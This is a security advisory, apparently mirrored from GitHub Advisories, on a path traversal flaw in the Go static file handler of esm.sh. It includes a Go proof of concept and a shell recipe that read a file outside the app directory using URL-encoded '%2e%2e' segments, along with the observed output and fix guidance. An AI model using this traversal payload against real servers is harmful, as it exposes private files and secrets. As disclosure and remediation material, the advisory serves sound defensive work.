OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-102657: esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal

GitHub Advisories · officialPublished Nov 9, 2026Risk 37/100

### Summary The documented `web.NewHandler` static file server can read files outside `Config.AppDir` when the request path contains URL-encoded dot-segments such as `%2e%2e`. Go's `ServeMux` redirects plain `/../` paths, but it passes encoded dot-segments to the handler after decoding `r.URL.Path`. The handler then calls `filepath.Join(s.config.AppDir, r.URL.Path)` without checking that the result remains under `AppDir`, allowing unauthenticated arbitrary file reads with the server process privileges. ### Details `web/README.md:34-40` documents a network-facing setup: ```go http.Handle("GET /", web.NewHandler(web.Config{ AppDir: "/path/to/webapp", Fallback: "/index.html", Dev: false, })) log.Fatal(http.ListenAndServe(":8080", nil)) ``` In `web/handler.go:62-75`, the handler takes `r.URL.Path` and joins it directly with `s.config.AppDir`: ```go pathname := r.URL.Path filename := filepath.Join(s.config.AppDir, pathname) fi, err := os.Lstat(filename) ``` Later the same resolved filename is opened and copied to the response in `web/handler.go:150-166` for non-HTML/static files. There is no `filepath.IsLocal`, cleaned-relative-path, absolute-root prefix, or symlink-aware containment check before opening the file. A plain `/../secret.txt` path is redirected by Go's `ServeMux`, but an encoded path such as `/%2e%2e/secret.txt` is decoded into `r.URL.Path == "/../secret.txt"` and reaches the handler. On Linux, `filepath.Join("/tmp/root/app", "/../secret.txt")` resolves to `/tmp/root/secret.txt`, outside the configured app directory. Source-to-sink chain: ```text Unauthenticated HTTP request path containing URL-encoded dot-segments -> net/http decodes path into r.URL.Path -> documented ServeMux setup passes encoded dot-segment path to web.NewHandler -> web/handler.go joins Config.AppDir with r.URL.Path -> os.Lstat/os.Open operate on the escaped path -> io.Copy returns file contents to the attacker ``` False-positive checks performed: - Plain dot-segment paths are redirected by `http.ServeMux`, but encoded dot-segments are not blocked and reach the handler. - The PoC uses the documented `http.Handle("GET /", web.NewHandler(...))` setup, not a custom bypass of ServeMux. - A control request for `/secret.txt` does not read the outside file; the disclosure requires encoded traversal segments. - The issue is independent of `Dev`/HMR; it reproduces with `Dev: false`. - The root cause appears in other handler paths that join app paths, but the static file read path is sufficient to prove arbitrary file disclosure. Candidate score: 18/18 under the local audit scoring rubric. The handler is documented for network-facing use, the attacker directly controls the request path, the path reaches `os.Open`, file disclosure was reproduced locally, and no root containment mitigation is present. ### PoC This safe local proof creates an application directory and a sibling secret file outside it, registers the handler exactly as documented, and requests the sibling file through encoded `..` path segments. ```go package main import ( "fmt" "net/http" "net/http/httptest" "os" "strings" "github.com/esm-dev/esm.sh/web" ) func main() { mux := http.NewServeMux() mux.Handle("GET /", web.NewHandler(web.Config{AppDir: os.Args[1], Dev: false})) for _, target := range []string{ "http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt", "http://example/secret.txt", } { rr := httptest.NewRecorder() req := httptest.NewRequest("GET", target, nil) mux.ServeHTTP(rr, req) fmt.Printf("%s => status=%d location=%q contains_secret=%v body=%q\n", target, rr.Code, rr.Header().Get("Location"), strings.Contains(rr.Body.String(), "ancestor-secret-marker"), rr.Body.String(), ) } } ``` Maintainer-runnable clean-checkout recipe: ```sh tmp=$(mktemp -d) mkdir -p "$tmp/root/a/b/app" printf 'ancestor-secret-marker' > "$tmp/root/secret.txt" printf '<h1>inside</h1>' > "$tmp/root/a/b/app/index.html" cat > "$tmp/poc.go" <<'EOF' [place the PoC above here] EOF go run "$tmp/poc.go" "$tmp/root/a/b/app" rm -rf "$tmp" ``` Observed vulnerable output in this environment: ```text http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker" http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>" ``` Final re-check after drafting reproduced the same output: ```text http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker" http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>" ``` Additional parser/control evidence observed locally: ```text http://example/../secret.txt => status=307 loc="/secret.txt" handler Path="/../secret.txt" RawPath="/%2e%2e/secret.txt" http://example/%2e%2e/secret.txt => status=204 loc="" http://example/a/../../secret.txt => status=307 loc="/secret.txt" ``` This confirms that the documented `ServeMux` setup redirects plain traversal paths but lets encoded dot-segments reach the handler. ### Impact An unauthenticated remote attacker can read files that are outside the configured web application directory but readable by the server process. Depending on deployment layout and process privileges, this can disclose source files, configuration files, environment-adjacent files, build artifacts, local credentials, private keys, or other application secrets located in ancestor or sibling directories. The impact is limited to file disclosure in the confirmed path. No write primitive or code execution was confirmed in this audit. ### Suggested remediation Normalize request paths into a cleaned relative path before joining them with `AppDir`, and reject any path that is not local. A robust pattern is: - reject paths containing NUL bytes, - use `path.Clean("/" + r.URL.EscapedPath())` or an equivalent URL-path canonicalization step, - trim the leading slash and reject non-local paths with `filepath.IsLocal`, - join only the validated relative path to `AppDir`, - optionally compare absolute cleaned paths to ensure the result remains inside the absolute app root, - consider symlink policy explicitly if symlinks inside `AppDir` should not escape the app root. Add regression tests for `/%2e%2e/secret.txt`, multi-level encoded traversal, plain `/../` behavior, and normal in-app file serving. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)

Upgrade affected packages to a patched version: github.com/esm-dev/esm.sh/web 0.2.0.

Vendor
Not specified
Product
github.com/esm-dev/esm.sh/web
Exploitation
none known
Evidence
official
CVSS
7.5

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source